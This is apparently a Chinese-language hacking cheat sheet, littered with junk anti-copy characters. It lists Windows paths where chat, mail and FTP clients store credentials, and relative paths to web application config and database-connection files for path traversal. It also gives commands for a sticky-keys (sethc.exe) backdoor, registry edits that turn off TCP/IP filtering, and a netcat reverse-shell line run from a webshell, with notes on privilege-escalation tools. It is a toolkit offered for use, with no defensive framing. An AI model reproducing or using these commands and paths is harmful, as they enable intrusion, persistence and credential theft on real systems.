/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
, Y: i, r: A" j; m  y+ tc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
3 x; @/ r* U' s; q" Y$ r( g9 Oc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
) M4 @1 b3 }8 _' m4 Y0 ~c:\Program Files\Tencent\RTXServer\AppConfig.xml
5 h7 M" X' N4 K# p3 vC:\Program Files\Foxmal\Foxmail.exe
2 ]8 g, r: R1 F3 A! |3 o4 N. KC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
5 S6 A9 Y; y# K2 zC:\Program Files\LeapFTP\LeapFTP.exe
, C8 E8 v$ N; M8 D5 Yc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
7 z% s5 Q8 j: C0 p* @5 u, OC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
- J. S! Z. \; kc:\Program Files\腾讯游戏\QQGAME\readme.txt
7 B: R! ~5 N5 ], \c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

3.网站相对路径:

/config.php
9 t; f! o8 j7 ~! u9 d../../config.php
../config.php
# g, ?8 f( U# O, |../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
2 C, i: p  {. }3 s* D) V- M../config.inc.php
../../../config.inc.php
/conn.php
7 T- g; c# w- C3 S# [3 |) k./conn.php
) R: W# |* ^! n. Z% A. y../../conn.php
* v; o  R+ H2 s+ \../conn.php
../../../conn.php
7 R9 ]! |5 R, j, r% @/conn.asp
6 b2 f/ S: t" O4 _# `' }./conn.asp
../../conn.asp
../conn.asp
/ I: c2 a3 U+ l% V../../../conn.asp
/config.inc.php
1 b- }3 {, T3 ^8 D: s./config.inc.php
7 A, K' [  r- A( ~3 b) y" ?1 N& S../../config.inc.php
../config.inc.php
* p0 c. G1 g/ D/ H5 v6 @../../../config.inc.php
8 M; Z8 q4 C: s# F. |( S2 C) A  z/config/config.php
9 O' {! E) F$ G' [/ `; e../../config/config.php
../config/config.php
$ d9 X' ?% K, r' _; z../../../config/config.php
3 U# g$ p% Q+ ~5 P/config/config.inc.php
; ?4 ^% _6 o  M./config/config.inc.php
../../config/config.inc.php
3 I$ N% k5 c& \$ B9 n../config/config.inc.php
../../../config/config.inc.php
+ B4 w) i( Z* w7 R: f7 O/config/conn.php
./config/conn.php
" H/ x8 e" b& c1 _* A0 M../../config/conn.php
- |' {: D8 d, [- T& r/ j- Z../config/conn.php
../../../config/conn.php
2 M# J/ A: d  U/config/conn.asp
./config/conn.asp
; o+ x) n0 X( ?: v& h0 m2 J../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
& k+ L: _( ^. Q+ T- N- q% N/config/config.inc.php
# h! N0 k6 X. L  V./config/config.inc.php
../../config/config.inc.php
) J4 L% Z& |. _! @1 Q6 a../config/config.inc.php
../../../config/config.inc.php
3 b1 Y; r" J$ t3 ?0 v* g8 C9 ^# S( ?/data/config.php
3 g' V! j# X' V../../data/config.php
& {5 n( p2 m- X: V9 }, ]: G( w+ E../data/config.php
../../../data/config.php
/data/config.inc.php
; R) y) }! R* S- ]* h6 l: {! P./data/config.inc.php
7 C) @- [' V( {) Y) e# f$ j! _6 @../../data/config.inc.php
4 X$ ?* Y: p1 h" C6 l% {../data/config.inc.php
../../../data/config.inc.php
% ]' C2 N/ l* s1 T) I; h) X& \/data/conn.php
./data/conn.php
../../data/conn.php
1 A# G4 }1 l1 i8 ~' P9 g../data/conn.php
6 e0 R$ g! {0 O8 c$ U- _2 A8 J../../../data/conn.php
1 o+ F" g8 x* i/ s/data/conn.asp
./data/conn.asp
+ L0 h1 F6 E# D& m+ @../../data/conn.asp
' U) Q: U6 g/ Z+ X../data/conn.asp
../../../data/conn.asp
0 D+ d3 M/ [; P/data/config.inc.php
./data/config.inc.php
5 }( g( U( m; G# J" I../../data/config.inc.php
) N" G- `& ~6 Y+ Z../data/config.inc.php
- V* l+ a: i) s" ~. _, G/ I5 C../../../data/config.inc.php
/include/config.php
' m' Q! g/ L: u: o; R* l4 t../../include/config.php
../include/config.php
" `! p1 c$ p5 A0 X../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
7 N; D$ j: C+ d9 _5 C* H../include/config.inc.php
5 e4 U2 f7 \% m) ~$ m8 [) ]../../../include/config.inc.php
/include/conn.php
) H# A2 y( E. }7 d./include/conn.php
../../include/conn.php
( n, q. c+ G8 F4 U( j0 C1 n' E0 s../include/conn.php
../../../include/conn.php
/include/conn.asp
./include/conn.asp
# O$ o0 \- C/ z/ \../../include/conn.asp
2 D* ^: a+ n) O6 F! \../include/conn.asp
5 c; E1 _9 T( W../../../include/conn.asp
; l- m  d) z9 w  v/include/config.inc.php
. `$ ^& F* s3 h  }( C' l2 _./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
( A% f* ~& q) z) A* K../../../include/config.inc.php
/inc/config.php
../../inc/config.php
../inc/config.php
$ m! r0 e. e7 s* ^/ C- f$ g- @../../../inc/config.php
/inc/config.inc.php
8 l+ x9 _8 v) o: B./inc/config.inc.php
' m, u' W  n# I7 |+ h9 r0 S../../inc/config.inc.php
# j  U& _8 s; j$ q0 ]1 @/ {../inc/config.inc.php
2 u2 C9 s0 k9 }, E# c7 h' F7 i../../../inc/config.inc.php
/inc/conn.php
& Z( }2 \- D2 r" t* G- Q/ G./inc/conn.php
+ z% t; V% A5 l2 W* m../../inc/conn.php
../inc/conn.php
5 R6 m! s+ h( n) C7 Z3 q../../../inc/conn.php
6 I$ {) H; l0 C9 m) x- |1 z& `/inc/conn.asp
0 U. T/ V2 K4 Y) Z+ x./inc/conn.asp
0 X/ `1 M/ K. g  _' J../../inc/conn.asp
& d6 b) K- l! F+ W1 |! l../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
( P' g5 f) j4 [9 V: z; e./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
% b5 \8 x- B3 ?, l( @../../../inc/config.inc.php
6 X. ^$ h! l" a4 ?+ s+ s4 X3 Q/index.php
./index.php
% w+ j* u2 Y$ j+ s../../index.php
../index.php
( ]/ R9 a8 v. b% k../../../index.php
1 P5 T! a6 F& E" v# U. k# l/index.asp
. c, p# R( p, r2 S( `6 j./index.asp
% d' U! V" w9 H* Y. [: Y../../index.asp
8 I' p. G$ \% M../index.asp
../../../index.asp
替换SHIFT后门
8 ?; T+ I4 `. |5 ^& G　attrib c:\windows\system32\sethc.exe -h -r -s

$ v3 _) o2 A: Z　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe

8 E: c+ i5 h/ F3 \! s4 Z　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
: \2 {- R- L! Z/ E+ {
- {2 l8 G( l4 `3 ]　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
% K8 J9 |7 z5 _! o- l# p8 J3 j
　　attrib c:\windows\system32\sethc.exe +h +r +s
" c2 z3 }9 ^  r: ]9 l% d0 w
  K. g7 l0 ~! t　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
& v+ o: G5 O; m+ ?& ~去除TCPIP筛选
; @, t2 m) `0 ?  N4 y! p- ETCP/IP筛选在注册表里有三处，分别是：
# L9 \! k) a/ ?+ g* g% N. bHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
; ^2 h/ Q- d4 UHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
3 A7 p( G6 r! X* a& J4 \( VHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
) [. R9 k' N( d; ]4 D3 E
. l7 j, D$ _: X5 K0 `) {% @分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
2 Z7 W( @8 ]' Z; k: ^% v1 Zregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
, _" A1 Z4 b' P/ q5 D- ]# O6 wregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
$ i  T6 \6 H- r1 ?命令来导出注册表项
/ A. D. [& E+ x( w
# C& ]# f" |3 ^+ t然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
" i5 `5 [) N8 d- \1 H% |" m
9 N* l$ p8 L3 d再将以上三个文件分别用
6 ~, l& f# A( H# H+ c7 Vregedit -s D:\a.reg
regedit -s D:\b.reg
9 R* z; O1 o* b6 ~) R0 J) Lregedit -s D:\c.reg
/ I% M! p' q1 ?6 a5 W4 ?导入注册表即可
: p3 K9 Y  d% \0 L& W: H7 E
webshell提权小技巧
3 B: I7 [! O/ a, s5 n. H8 X/ Ocmd路径:
/ y+ Q% o. |! h2 Cc:\windows\temp\cmd.exe
1 c$ C% T) P7 E  `9 \  vnc也在同目录下
例如反弹cmdshell：
8 w+ q( e& @$ W! E3 b. |6 S' @"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
* ?* W' |! ~2 u3 s& @: g  [通常都不会成功。
8 ]  n1 ]7 M# n+ [4 _. C
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
; C- b. v+ R2 o+ |% z5 P这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功